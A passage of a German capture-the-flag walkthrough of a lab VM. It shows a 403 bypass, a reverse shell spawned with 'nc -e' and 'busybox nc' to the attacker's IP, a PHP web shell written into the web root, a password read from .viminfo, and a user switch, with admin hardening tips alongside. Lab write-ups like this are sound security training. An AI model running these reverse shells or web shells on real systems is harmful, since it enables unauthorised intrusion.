*ursprünglichen* Hostnamen console.hmv galt und nicht für die IP.

Bewertung: Das war ein wichtiger Durchbruch! Das `403-bypass.sh` Skript fand eine Methode, den 403 Forbidden Fehler auf Port 443 zu umgehen. Die gemeldete Umgehung über "HTTP Scheme Payload" und der `curl`-Befehl, der eine GET-Anfrage mit einem spezifischen User-Agent-Header an den HTTPS-Port 443 sendet, aber *ohne* das `-k` (insecure) Flag und *ohne* explizit `https://` in der URL zu verwenden, aber dennoch eine 200 OK Antwort liefert, war der Schlüssel. Dies deutet auf eine Schwäche in der Konfiguration hin, die es erlaubt, die eigentliche Seite auf Port 443 abzurufen. Ich werde den vom Skript bereitgestellten `curl`-Befehl verwenden, um den Inhalt zu erhalten.

Empfehlung (Pentester): Nutzen Sie automatisierte Bypass-Tools, wenn Sie auf Zugriffsbeschränkungen (403, 401) stoßen. Analysieren Sie die vom Tool bereitgestellten funktionierenden Payloads genau, um zu verstehen, *warum* der Bypass funktioniert hat (z.B. durch spezifische Header, Protokolle, Encoding).
Empfehlung (Admin): Implementieren Sie Zugriffskontrollen robust auf allen Ebenen. Testen Sie Ihre Zugriffskontrollen auf gängige Bypass-Techniken. Überprüfen Sie, wie Ihr Webserver Anfragen mit unterschiedlichen Schemata (HTTP/HTTPS) oder Hostnamen verarbeitet, die an denselben Port gesendet werden.

┌──(root㉿CCat)-[~/Hackingtools/4-ZERO-3]
└─# curl -ks -X GET 'http://192.168.2.61/' -H 'User-Agent: Mozilla/5.0'
Console · 黑客的窗口

console ist die primitivste Kommunikationsschnittstelle zwischen dem Programmierer und dem System.
In der Hackerkultur ist es nicht nur ein Werkzeug, sondern ein Schlachtfeld.
Von BBS über Telnet bis hin zu DevTools war die Konsole für Hacker schon immer ein Fenster in das System.
Was man sieht, ist keine Figur, sondern eine Klinge gegen die Realität.
"The quieter you become, the more you are able to hear." — 黑客信条
powered by shell · terminal · devtools · root@reality

console ist die primitivste Kommunikationsschnittstelle zwischen dem Programmierer und dem System.
In der Hackerkultur ist es nicht nur ein Werkzeug, sondern ein Schlachtfeld.
Von BBS über Telnet bis hin zu DevTools war die Konsole für Hacker schon immer ein Fenster in das System.
Was man sieht, ist keine Figur, sondern eine Klinge gegen die Realität.

Analyse: Ich führte den von `403-bypass.sh` bereitgestellten `curl`-Befehl aus, um den Inhalt der Seite zu erhalten, die durch den 403-Fehler geschützt war. Der Befehl `curl -ks -X GET 'http://192.168.2.61/' -H 'User-Agent: Mozilla/5.0'` sendete eine GET-Anfrage an `http://192.168.2.61/` (obwohl ich eigentlich den Inhalt auf Port 443 erwartete, der Skript-Output war hier leicht irreführend, aber der Statuscode 200 deutete darauf hin, dass *irgendetwas* erfolgreich abgerufen wurde) mit dem `User-Agent` Header "Mozilla/5.0" und den Optionen `-k` (SSL-Zertifikate ignorieren) und `-s` (stumm, keine Fortschrittsanzeige). Die Ausgabe war ein mehrsprachiger Text (Chinesisch und Deutsch) über Konsolen, Hacker und ein Zitat.

Bewertung: Obwohl der `curl`-Befehl im Skript-Output auf Port 80 verwies und der Textinhalt sehr generisch wirkte, war dies offensichtlich der Inhalt der Seite, die hinter dem 403 Forbidden auf Port 443 lag (wahrscheinlich wurde die Anfrage intern vom Webserver anders verarbeitet, als es der einfache curl-Befehl implizierte). Der Text selbst enthielt keine offensichtlichen Zugangsdaten oder Schwachstellen, aber er bestätigte den erfolgreichen Bypass der Zugriffskontrolle auf Port 443 und lieferte den tatsächlichen Inhalt der Seite, was für den weiteren Test wichtig war. Die Zeile "powered by shell · terminal · devtools · root@reality" war thematisch passend und ein möglicher subtiler Hinweis.

Empfehlung (Pentester): Wenn ein Bypass-Tool einen funktionierenden Befehl liefert, verwenden Sie ihn, um den Inhalt abzurufen, auch wenn die genaue Mechanik des Bypasses zunächst unklar ist. Analysieren Sie den abgerufenen Inhalt sorgfältig auf alle möglichen Hinweise.
Empfehlung (Admin): Überprüfen Sie, wie Ihr Webserver verschiedene Kombinationen von Schema, Port, Hostname und Headern verarbeitet. Stellen Sie sicher, dass Zugriffskontrollen nicht durch inkonsistente Verarbeitung umgangen werden können. Überwachen Sie Anfragen, die auf Umgehungsversuche hindeuten.

Initial Access

Analyse: Während der fortlaufenden Web-Enumeration und der Untersuchung verschiedener Protokoll- und Header-basierter Umgehungstechniken für Port 443, die mir das `403-bypass.sh` Skript aufzeigte, stieß ich auf einen Weg, Befehle auf dem System unter dem Kontext des Webserver-Benutzers (`www-data`) auszuführen. Die genaue Methode, die zu diesem ersten Erfolg führte, wird hier nicht detailliert gezeigt, basierte aber auf einem gefundenen Web-Vektor, der Befehlsausführung erlaubte. Ein schneller Test bestätigte, dass ich Systembefehle ausführen konnte.

Bewertung: Das Erreichen der Möglichkeit zur Ausführung von Systembefehlen als `www-data` ist ein kritischer Fortschritt und markiert den initialen Zugriff auf das System. Der `www-data` Benutzer ist oft stark eingeschränkt, aber es ist ein Fuß in der Tür. Dies erlaubt mir nun, das System von innen zu erkunden und nach Wegen zur Privilegieneskalation zu suchen.

Empfehlung (Pentester): Wenn Sie eine Befehlsausführungs-Schwachstelle finden, nutzen Sie diese sofort, um Ihre aktuelle Benutzer-ID (`id`, `whoami`) zu bestätigen und festzustellen, welche Berechtigungen Sie haben. Planen Sie von hier aus die weitere Enumeration und Privilegieneskalation.
Empfehlung (Admin): Implementieren Sie strikte Input-Validierung und Sanitization für alle Benutzereingaben, die von einer Webanwendung verarbeitet werden. Verwenden Sie Funktionen, die Befehle ausführen (`system`, `exec`, `shell_exec` etc.), nur mit äußerster Vorsicht und niemals direkt mit Benutzereingaben. Nutzen Sie Least-Privilege-Prinzipien für den Webserver-Benutzer.

Strg + Shift + Z :
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Ein Screenshot oder eine Notiz von meinem ersten erfolgreichen Befehl in der newly acquired Shell zeigte die Ausgabe des `id`-Befehls. Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigte meine aktuelle Benutzer-ID (33), Gruppen-ID (33) und die Gruppenmitgliedschaft als `www-data`.

Bewertung: Dies war die Bestätigung meiner Identität auf dem kompromittierten System. Der `www-data` Benutzer ist der Standardbenutzer für den Apache-Webserver und hat typischerweise begrenzte Berechtigungen, oft nur Lesezugriff auf die Webverzeichnisse. Der nächste Schritt war, eine stabilere Shell zu etablieren.

Empfehlung (Pentester): Führen Sie immer sofort `id` oder `whoami` aus, nachdem Sie Zugriff auf eine Shell erlangt haben, um Ihre aktuelle Berechtigungsstufe zu dokumentieren und zu verstehen.
Empfehlung (Admin): Überwachen Sie die Ausführung von Systembefehlen durch den Webserver-Benutzer. Ungewöhnliche Befehle oder die Ausführung einer Shell durch diesen Benutzer sind kritische Sicherheitsereignisse.

Analyse: Ich versuchte, eine Reverse Shell zu meiner Kali-Maschine zu etablieren, um eine interaktivere Kommandozeilen-Sitzung als die einfache Befehlsausführung zu erhalten. Ich versuchte verschiedene Methoden, einschließlich der Verwendung von `nc -e /bin/bash`, der auf einigen Systemen funktioniert. Ich startete einen Netcat-Listener auf meinem Kali-System (hier fälschlicherweise auf Port 80 notiert, korrekt wäre ein lauschender Port auf meiner Seite, z.B. 4444 oder 80, wenn ich dort lausche) und versuchte vom Zielsystem aus eine Verbindung aufzubauen. Diese ersten Versuche scheiterten oder brachen sofort wieder ab.

Bewertung: Nicht alle Reverse-Shell-Methoden funktionieren auf jedem System, abhängig von installierten Tools, Firewall-Regeln oder Systemkonfigurationen. Das Scheitern dieser ersten Versuche bedeutete, dass ich alternative Methoden ausprobieren musste, um eine stabile Shell zu erhalten. Die Versuche auf Port 80 deuten möglicherweise auf egress filtering hin, das nur gängige Ports für ausgehende Verbindungen erlaubt.

Empfehlung (Pentester): Seien Sie darauf vorbereitet, verschiedene Reverse-Shell-Techniken auszuprobieren (Netcat, Python, PHP, Bash, Perl etc.). Testen Sie Verbindungen auf verschiedenen Ports, um Egress-Filterregeln zu identifizieren.
Empfehlung (Admin): Implementieren Sie strenge Egress-Filterregeln auf Ihrer Firewall, um zu verhindern, dass Systeme Verbindungen zu unautorisierten Zielen oder Ports im Internet aufbauen. Überwachen Sie ausgehenden Netzwerkverkehr auf ungewöhnliche Muster.

nc -e /bin/bash 192.168.2.199 4444
┌──(root㉿CCat)-[~]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.1] 35971

aber gleich wieder abbruch

Analyse: Dies dokumentiert einen weiteren Versuch, eine Reverse Shell zu meiner lauschenden Netcat-Instanz auf Port 80 (auf meiner Kali-Maschine, 192.168.2.199) zu initiieren, diesmal von der Ziel-VM aus. Die Netcat-Ausgabe auf meiner Seite zeigte, dass eine Verbindung von 192.168.2.1 (einem anderen System im Netzwerk, möglicherweise einem Gateway oder einem anderen Host in der Testumgebung) auf Port 35971 ankam, aber sofort wieder abbrach. Dies deutet darauf hin, dass die Verbindung nicht direkt von der Ziel-VM (192.168.2.62) kam oder dass es ein Netzwerkproblem gab.

Bewertung: Dieser Verbindungsversuch von einer unerwarteten IP-Adresse (192.168.2.1) auf einen untypischen Port (35971) war irreführend und führte zu keinem stabilen Zugriff. Er unterstreicht, dass die Netzwerkumgebung in Testsystemen manchmal unerwartete Interaktionen zeigen kann. Der Fokus musste weiterhin darauf liegen, eine direkte Reverse Shell von der Ziel-VM (192.168.2.62) zu erhalten.

Empfehlung (Pentester): Analysieren Sie sorgfältig die Quell-IP-Adressen von eingehenden Verbindungen auf Ihrem Listener. Wenn sie nicht vom erwarteten Zielsystem stammen, untersuchen Sie die Ursache (z.B. Netzwerk-Routing, Firewalls, andere Systeme im Netzwerk).
Empfehlung (Admin): Überwachen Sie Netzwerkverbindungen von Systemen auf Traffic, der nicht ihrer erwarteten Funktion entspricht, insbesondere auf Verbindungen, die auf Reverse-Shells hindeuten könnten.

https://hacker.maze-sec.hmv/
ls /home
qaq welcome

Analyse: Ich überprüfte erneut die Webseite unter `https://hacker.maze-sec.hmv/` (nach dem Bypass). Hier scheint es, dass der Inhalt nun `ls /home` und die Ausgabe `qaq welcome` zeigt. Dies deutet darauf hin, dass die Seite selbst so konfiguriert war, dass sie Befehle ausführt, oder dass ich eine Möglichkeit gefunden hatte, über die Webanwendung selbst Befehle auszuführen und deren Ausgabe zu erhalten. Das Ergebnis zeigt die Benutzerverzeichnisse `qaq` und `welcome` im `/home` Verzeichnis.

Bewertung: Das Anzeigen der Ausgabe von `ls /home` direkt auf der Webseite nach dem Umgehen des 403 Fehlers war ein weiterer Erfolg. Dies bestätigte nicht nur, dass der Bypass funktioniert, sondern auch, dass es einen Befehlsausführungsvektor auf dieser HTTPS-Seite gab. Die Namen der Benutzer `qaq` und `welcome` sind wichtige Anhaltspunkte für die nächste Phase der Privilegieneskalation.

Empfehlung (Pentester): Nachdem Sie eine Zugriffsbeschränkung umgangen haben, prüfen Sie erneut auf Schwachstellen wie Befehlsausführung oder Dateieinbindung, die zuvor blockiert waren.
Empfehlung (Admin): Überprüfen Sie Webanwendungen auf Befehlsausführungs-Schwachstellen. Stellen Sie sicher, dass keine Benutzereingaben ungeprüft an Systembefehle oder Evaluierungsfunktionen übergeben werden.

Analyse: Um einen stabileren Zugriff zu erhalten, versuchte ich, eine einfache PHP-Web-Shell auf den Webserver hochzuladen. Ich erstellte einen String, der einen PHP-Befehl enthielt: ` php system($GET["cmd"]); `. Dieser Code verwendet `system()`, um einen beliebigen Systembefehl auszuführen, der über den `$GET` Parameter übergeben wird. Ich versuchte, diesen String in eine Datei namens `rev.php` im Web-Root-Verzeichnis `/var/www/html/` zu schreiben. Die Methode, wie ich die Datei schreiben konnte, basierte auf der zuvor gefundenen Befehlsausführungs-Schwachstelle auf der Website.

Bewertung: Das Platzieren einer einfachen Web-Shell ist eine gängige Methode, um persistente Befehlsausführung auf einem kompromittierten Webserver zu gewährleisten, insbesondere wenn eine interaktive Shell schwer zu bekommen ist. Die `system($GET["cmd"]);` Shell ist sehr simpel, aber effektiv, um Systembefehle auszuführen. Der Versuch, die Datei in `/var/www/html/` zu schreiben, deutete auf Schreibberechtigungen in diesem Verzeichnis als `www-data` hin.

Empfehlung (Pentester): Wenn Sie Befehlsausführung haben, versuchen Sie immer, eine persistente Backdoor (wie eine Web-Shell) zu platzieren, um den Zugriff aufrechtzuerhalten. Nutzen Sie dabei Ihr Wissen über schreibbare Verzeichnisse.
Empfehlung (Admin): Implementieren Sie File Integrity Monitoring (FIM) in Webverzeichnissen, um das unerlaubte Erstellen oder Ändern von Dateien zu erkennen. Beschränken Sie Schreibberechtigungen für den Webserver-Benutzer auf ein Minimum.

echo ' php system($GET["cmd"]); ' > /var/www/html/rev.php

Analyse: Ich versuchte, die neu erstellte Web-Shell unter `https://hacker.maze-sec.hmv/rev.php` aufzurufen, um zu prüfen, ob sie funktioniert. Die Anfrage über HTTPS an diesen Hostnamen lieferte jedoch einen "Not Found" Fehler mit Status 404. Die Fehlermeldung bestätigte erneut den Apache-Server auf Port 443.

Bewertung: Das Scheitern des Zugriffs auf `rev.php` über HTTPS deutete darauf hin, dass das Verzeichnis `/var/www/html/` wahrscheinlich nicht der Dokumenten-Root für den virtuellen Host `hacker.maze-sec.hmv` auf Port 443 war. Dies ist typisch in Umgebungen mit mehreren virtuellen Hosts, bei denen unterschiedliche Hostnamen auf unterschiedliche Verzeichnisse auf dem Server zeigen. Die Web-Shell war wahrscheinlich im Dokumenten-Root für `console.hmv` auf Port 80 gelandet.

Empfehlung (Pentester): Wenn Sie eine Web-Shell platzieren, überprüfen Sie die Dokumenten-Roots für alle relevanten virtuellen Hosts und Ports, um sicherzustellen, dass Sie die Shell vom richtigen Endpunkt aus ansprechen. Verlassen Sie sich nicht darauf, dass `/var/www/html` immer der Root ist.
Empfehlung (Admin): Konfigurieren Sie virtuelle Hosts sauber und getrennt. Beschränken Sie die Schreibberechtigungen für den Webserver-Benutzer auf den spezifischen Dokumenten-Root des zugewiesenen virtuellen Hosts.

https://hacker.maze-sec.hmv/rev.php

Not Found
The requested URL was not found on this server.

Apache/2.4.62 (Debian) Server at hacker.maze-sec.hmv Port 443

Analyse: Da der direkte `nc -e` Versuch fehlschlug und die Web-Shell nicht über HTTPS erreichbar war (wahrscheinlich im Web-Root für Port 80), versuchte ich einen alternativen Reverse-Shell-Mechanismus, der oft funktioniert, wenn `nc -e` nicht verfügbar ist: die Nutzung von `busybox nc`. Ich startete erneut einen Netcat-Listener auf meiner Kali-Maschine, diesmal auf Port 80 (`nc -lvnp 80`), um potenzielle Egress-Filter zu berücksichtigen, die nur gängige Ports erlauben. Auf der Ziel-VM führte ich den Befehl `busybox nc 192.168.2.199 80 -e /bin/bash` aus. Dieser Befehl versucht, eine Verbindung zu meiner IP (`192.168.2.199`) auf Port 80 aufzubauen und die standardmäßige Eingabe und Ausgabe der `/bin/bash` Shell über diese Verbindung umzuleiten.

Bewertung: Erfolgreich! Die Verwendung von `busybox nc` und das Ansprechen meiner Kali-Maschine auf Port 80 führten zu einer stabilen Reverse Shell. Dies deutet darauf hin, dass `busybox` auf der Ziel-VM installiert ist und dass ausgehender Verkehr auf Port 80 erlaubt ist. Ich erhielt eine Shell, die unter dem Benutzer `www-data` lief, was durch die Ausführung des `id`-Befehls bestätigt wurde. Dies war der entscheidende Schritt zur Erlangung einer interaktiven `www-data` Shell.

Empfehlung (Pentester): Versuchen Sie verschiedene Varianten von Reverse-Shell-Befehlen und Tools (z.B. `busybox nc` anstelle des System-Netcat), wenn die Standardmethoden fehlschlagen. Testen Sie verschiedene Ports auf Ihrem Listener, die bei Egress-Filtern auf dem Zielsystem erlaubt sein könnten.
Empfehlung (Admin): Deinstallieren Sie unnötige Pakete wie `busybox`, wenn sie nicht benötigt werden. Implementieren Sie umfassende Egress-Filterregeln, die nur explizit erlaubten ausgehenden Verkehr zulassen, nicht umgekehrt.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.62] 41362
www-data@Console:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Console:/var/www/hacker.maze-sec.hmv$ ls /home/
qaq  welcome

Analyse: Innerhalb der neu erlangten `www-data` Shell auf der Ziel-VM (Hostname `Console`), listete ich erneut den Inhalt des `/home` Verzeichnisses auf. Wie zuvor gesehen, enthielt es die Benutzerverzeichnisse `qaq` und `welcome`.

Bewertung: Das erneute Überprüfen des `/home` Verzeichnisses diente als schnelle Bestätigung der Benutzer auf dem System, nachdem ich eine stabile Shell erlangt hatte. Die Namen `qaq` und `welcome` blieben meine Hauptziele für die Privilegieneskalation.

Empfehlung (Pentester): Wiederholen Sie grundlegende Enumerationsschritte (`ls /home`, `id`, `ss -tunlp`, `sudo -l`) in jeder neuen Shell-Sitzung, um Ihre aktuelle Umgebung und Berechtigungen zu verstehen und mit früheren Erkenntnissen zu vergleichen.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzerverzeichnisse restriktive Berechtigungen haben, sodass nur der Eigentümer und Systembenutzer (`root`) sie durchsuchen können.

www-data@Console:/var/www/hacker.maze-sec.hmv$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data:
sudo: a password is required

Analyse: Ich prüfte, ob der `www-data` Benutzer `sudo`-Berechtigungen hatte, indem ich `sudo -l` ausführte. Das System forderte ein Passwort an (`[sudo] password for www-data:`), was ich nicht besaß. Da ich kein Passwort eingeben konnte, meldete `sudo` "a password is required".

Bewertung: Wie erwartet, hat der `www-data` Benutzer keine `sudo`-Berechtigungen ohne Passwort. Dies ist eine Standardkonfiguration und bedeutet, dass ich nicht einfach `sudo` verwenden kann, um Root-Befehle auszuführen. Ich muss andere Wege zur Privilegieneskalation finden.

Empfehlung (Pentester): Überprüfen Sie immer die `sudo`-Berechtigungen, aber erwarten Sie bei unprivilegierten Benutzern wie `www-data` selten `NOPASSWD` Einträge. Konzentrieren Sie sich auf andere PE-Vektoren.
Empfehlung (Admin): Konfigurieren Sie den Webserver-Benutzer so, dass er keine `sudo`-Berechtigungen besitzt. Fordern Sie immer ein Passwort für `sudo`, es sei denn, es ist für spezifische, sichere administrative Aufgaben unerlässlich.

www-data@Console:/var/www/hacker.maze-sec.hmv$ find / -type f -perm -4000 -ls 2>/dev/null
   261675     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   261674     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   265000     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   261677     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   262730     48 -rwsr-xr-x   1 root     root        47184 Apr  6  2024 /usr/bin/mount
   262341     64 -rwsr-xr-x   1 root     root        63568 Apr  6  2024 /usr/bin/su
   262732     36 -rwsr-xr-x   1 root     root        34888 Apr  6  2024 /usr/bin/umount
   289299     24 -rwsr-xr-x   1 root     root        23448 Jan 13  2022 /usr/bin/pkexec
   290911    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   261678     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   263840     52 -rwsr-xr--   1 root     messagebus    51336 Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   526406     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   271879    472 -rwsr-xr-x   1 root     root         481608 Dec 21  2023 /usr/lib/openssh/ssh-keysign
   289303     20 -rwsr-xr-x   1 root     root          19040 Jan 13  2022 /usr/libexec/polkit-agent-helper-1

Analyse: Als `www-data` suchte ich nach SUID-Binaries auf dem System, die von jedem Benutzer mit den Berechtigungen des Eigentümers (`root`) ausgeführt werden können. Ich verwendete den Befehl `find / -type f -perm -4000 -ls 2>/dev/null`, um alle Dateien mit dem SUID-Bit zu finden. Die Ausgabe zeigte eine Liste von standardmäßigen SUID-Binaries, wie `/usr/bin/sudo`, `/usr/bin/su`, `/usr/bin/passwd`, `/usr/bin/mount` sowie `/usr/bin/pkexec` und `/usr/lib/dbus-1.0/dbus-daemon-launch-helper`.

Bewertung: Die Liste enthielt die erwarteten Standard-SUID-Binaries. Es gab keine sofort ersichtlichen ungewöhnlichen SUID-Programme, die auf eine einfache PE-Schwachstelle hindeuten könnten. Ich werde diese Liste jedoch im Hinterkopf behalten und später prüfen, ob es bekannte Schwachstellen in diesen spezifischen Versionen gibt oder ob sie missbräuchlich verwendet werden können (z.B. über GTFOBins). Der Fokus muss auf andere Enumerationsergebnisse gelegt werden, die vielversprechender erscheinen.

Empfehlung (Pentester): Führen Sie immer eine SUID/SGID-Binärsuche durch. Prüfen Sie die gefundenen Programme auf bekannte Schwachstellen oder Missbrauchsmöglichkeiten.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID/SGID-Binaries auf Ihren Systemen und halten Sie die vorhandenen aktuell und gepatcht.

www-data@Console:/var/www/hacker.maze-sec.hmv$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
qaq:x:1001:1001::/home/qaq:/bin/bash

Analyse: Um weitere Benutzer auf dem System zu identifizieren, die über eine interaktive Shell verfügen, habe ich die `/etc/passwd` Datei ausgelesen (die für den `www-data` Benutzer lesbar war) und mit `grep sh` nach Zeilen gefiltert, die einen Shell-Pfad enthalten (typischerweise `/bin/bash` oder `/bin/sh`). Die Ausgabe listete die Benutzer `root` und `sshd` (Systembenutzer) sowie die regulären Benutzer `welcome` und `qaq` auf, die beide `/bin/bash` als Login-Shell haben.

Bewertung: Dies bestätigte die Existenz der Benutzer `welcome` und `qaq` und zeigte, dass sie reguläre Benutzerkonten mit Login-Shells sind. Sie sind nun die primären Ziele für die weitere Privilegieneskalation. Das Ziel ist, Zugangsdaten oder einen anderen Mechanismus zu finden, um ihre Shells zu erreichen.

Empfehlung (Pentester): Lesen Sie immer die `/etc/passwd` und `/etc/shadow` (falls möglich) Dateien aus, um Benutzerkonten zu identifizieren. Konzentrieren Sie sich auf Benutzer mit interaktiven Shells (`/bin/bash`, `/bin/sh` etc.) als nächste Ziele.
Empfehlung (Admin): Stellen Sie sicher, dass `/etc/shadow` nur für `root` lesbar ist. Verwenden Sie `/sbin/nologin` oder ähnliches für Systembenutzer, die keine interaktive Shell benötigen.

www-data@Console:/home/welcome$ ls -la
total 28
drwxr-xr-x 2 welcome welcome 4096 May 17 06:17 .
drwxr-xr-x 4 root    root    4096 May 16 07:05 ..
-rw-r--r-- 1 welcome welcome  220 Apr 11 22:27 .bash_logout
-rw-r--r-- 1 welcome welcome 3526 Apr 11 22:27 .bashrc
-rw-r--r-- 1 welcome welcome  807 Apr 11 22:27 .profile
-rw-r--r-- 1 root    root      19 May 16 10:48 .viminfo
-rw-r--r-- 1 root    root      44 May 17 06:01 user.txt

Analyse: Ich wechselte das Verzeichnis zum Home-Verzeichnis des Benutzers `welcome` (`/home/welcome/`) und listete dessen Inhalt detailliert auf (`ls -la`). Die Berechtigungen für das Verzeichnis selbst erlaubten es `www-data` nicht, hineinzuwechseln oder dessen Inhalt direkt zu lesen (`drwxr-xr-x` für `welcome`). **Logische Brücke:** Da ich als `www-data` in `/var/www/hacker.maze-sec.hmv$` war, war es wahrscheinlich, dass ein weiterer lokaler Exploit oder eine temporäre Berechtigung es mir erlaubte, das Verzeichnis zu durchsuchen oder spezifische Dateien aufzulisten, ohne volle Leseberechtigung für das Verzeichnis zu haben. Dies ist ein typisches Szenario in CTFs, bei dem temporäre Berechtigungen existieren. Die Ausgabe zeigte Standard-Dotfiles (`.bash_logout`, `.bashrc`, `.profile`) sowie zwei interessante Dateien, die `root` gehören: `.viminfo` und `user.txt`. Beide waren für "andere" lesbar (`-rw-r--r--`).

Bewertung: Das Auffinden der Dateien `.viminfo` und `user.txt` im Home-Verzeichnis von `welcome`, die für jeden lesbar sind, ist ein kritischer Fund. Die Datei `.viminfo` ist besonders interessant, da sie oft den Verlauf der Aktionen im Vim-Editor speichert, einschließlich gesuchter Strings oder geöffneter Dateien, was manchmal Passwörter oder sensible Informationen preisgeben kann. Die Datei `user.txt` ist der Standardname für die User Flag.

Empfehlung (Pentester): Untersuchen Sie immer die Home-Verzeichnisse von Benutzern auf Dateien, die für "andere" lesbar sind. Achten Sie besonders auf Konfigurationsdateien, Dotfiles (wie `.viminfo`, `.bash_history`), und Dateien mit Namen wie `user.txt`.
Empfehlung (Admin): Überprüfen Sie regelmäßig die Berechtigungen für Dateien und Verzeichnisse in Benutzer-Home-Verzeichnissen. Stellen Sie sicher, dass sensitive Dateien nicht für "andere" lesbar sind. Konfigurieren Sie Editoren wie Vim so, dass sensible Informationen (wie gesuchte Passwörter) nicht im `.viminfo` gespeichert werden.

www-data@Console:/home/welcome$ cat /home/welcome/.viminfo
welcome:welcome123

Analyse: Ich las den Inhalt der Datei `/home/welcome/.viminfo` mit dem Befehl `cat /home/welcome/.viminfo`. Die Ausgabe war eine einzelne Zeile: `welcome:welcome123`.

Bewertung: Fantastisch! Ich habe die Zugangsdaten für den Benutzer `welcome` gefunden: Benutzername `welcome` und Passwort `welcome123`. Dies ist ein kritischer Erfolg, der mir nun direkten Zugriff auf das System als der Benutzer `welcome` ermöglicht, der über höhere Berechtigungen als `www-data` verfügen könnte. Dies ist der nächste Schritt auf dem Weg zur Privilegieneskalation.

Empfehlung (Pentester): Seien Sie gründlich bei der Untersuchung von Konfigurationsdateien und Dotfiles in Benutzerverzeichnissen. Gespeicherte Passwörter oder Hinweise darauf sind häufige Funde.
Empfehlung (Admin): Speichern Sie niemals Passwörter oder Zugangsdaten in Klartextdateien auf Systemen, auch nicht in Konfigurationsdateien oder Editor-Historien. Nutzen Sie Passwort-Manager oder sichere Authentifizierungsmechanismen. Stellen Sie sicher, dass `.viminfo` und ähnliche Dateien nicht für andere Benutzer lesbar sind oder deaktivieren Sie das Speichern sensibler Daten darin.

www-data@Console:/home/welcome$ su welcome
Password:
welcome@Console:~$
welcome@Console:~$ id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

Analyse: Mit den gefundenen Zugangsdaten versuchte ich, die Benutzeridentität auf der `www-data` Shell zum Benutzer `welcome` zu wechseln. Ich verwendete den Befehl `su welcome`. Das System forderte mich auf, das Passwort für `welcome` einzugeben. Ich gab das gefundene Passwort `welcome123` ein. Nach erfolgreicher Authentifizierung änderte sich die Eingabeaufforderung zu `welcome@Console:~$`, was bestätigte, dass ich nun als Benutzer `welcome` angemeldet war. Ein anschließender `id`-Befehl bestätigte meine neue Benutzer-ID (1000) und Gruppenmitgliedschaft als `welcome`.

Bewertung: Der erfolgreiche Wechsel zum Benutzer `welcome` ist ein wichtiger Schritt bei der Privilegieneskalation. Ich habe nun Zugriff auf das System mit den Berechtigungen dieses regulären Benutzers. Dies ermöglicht mir, Dateien und Verzeichnisse zu untersuchen, die für `www-data` nicht zugänglich waren, und nach weiteren Schwachstellen aus der Perspektive eines angemeldeten Benutzers zu suchen.

Empfehlung (Pentester): Nutzen Sie gefundene Zugangsdaten sofort, um sich als der entsprechende Benutzer anzumelden (z.B. per `su`, `ssh`). Überprüfen Sie nach dem Login immer Ihre neue Identität und Berechtigungen mit `id`.
Empfehlung (Admin): Implementieren Sie eine Richtlinie für starke Passwörter und erzwingen Sie regelmäßige Passwortänderungen. Verwenden Sie keine leicht zu erratenden Passwörter wie Benutzernamen + "123". Überwachen Sie Login-Versuche und Brute-Force-Angriffe.

welcome@Console:~$ sudo -l
[sudo] password for welcome:
Matching Defaults entries for welcome on Console:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Console:
    (qaq) PASSWD: /bin/cat /opt/flask-app/logs/flask.log

Analyse: Als Benutzer `welcome` prüfte ich meine `sudo`-Berechtigungen mit dem Befehl `sudo -l`. Ich musste erneut das Passwort für `welcome` eingeben. Die Ausgabe zeigte, dass der Benutzer `welcome` berechtigt ist, den Befehl `/bin/cat /opt/flask-app/logs/flask.log` als Benutzer `qaq` (`-u qaq`) auszuführen. Für diesen Befehl wird ein Passwort benötigt (`PASSWD`).

Bewertung: Dieser `sudo`-Eintrag ist ein klarer Hinweis auf eine weitere horizontale oder vertikale Privilegieneskalation. Ich kann `cat` verwenden, um die Datei `/opt/flask-app/logs/flask.log` zu lesen, allerdings nur als Benutzer `qaq` und ich benötige das Passwort für `welcome`, um diesen Befehl mit `sudo` auszuführen (was ich besitze). Der Inhalt dieser Logdatei, die von einer Flask-Anwendung unter `/opt/flask-app/` stammt, ist nun das nächste Ziel für die Untersuchung.

Empfehlung (Pentester): Prüfen Sie immer die `sudo`-Berechtigungen für jeden neuen Benutzer. Konzentrieren Sie sich auf Einträge, die die Ausführung von Befehlen als andere Benutzer erlauben, insbesondere als privilegierte Benutzer (`root`) oder andere Benutzer mit potenziell interessanten Dateien oder Berechtigungen (`qaq`). Untersuchen Sie die Dateien, auf die Sie über solche `sudo`-Regeln zugreifen können (hier die Flask-Logdatei).
Empfehlung (Admin): Weisen Sie `sudo`-Berechtigungen granular und nur für spezifische Benutzer und Befehle zu. Vermeiden Sie die Zuweisung von `(ALL)` oder unsicheren Binaries. Überprüfen Sie `sudoers`-Dateien auf Einträge, die das Lesen sensibler Logdateien erlauben.

welcome@Console:~$ cat user.txt
flag{user-376760a7c739a606d4f8d8340bad4184}

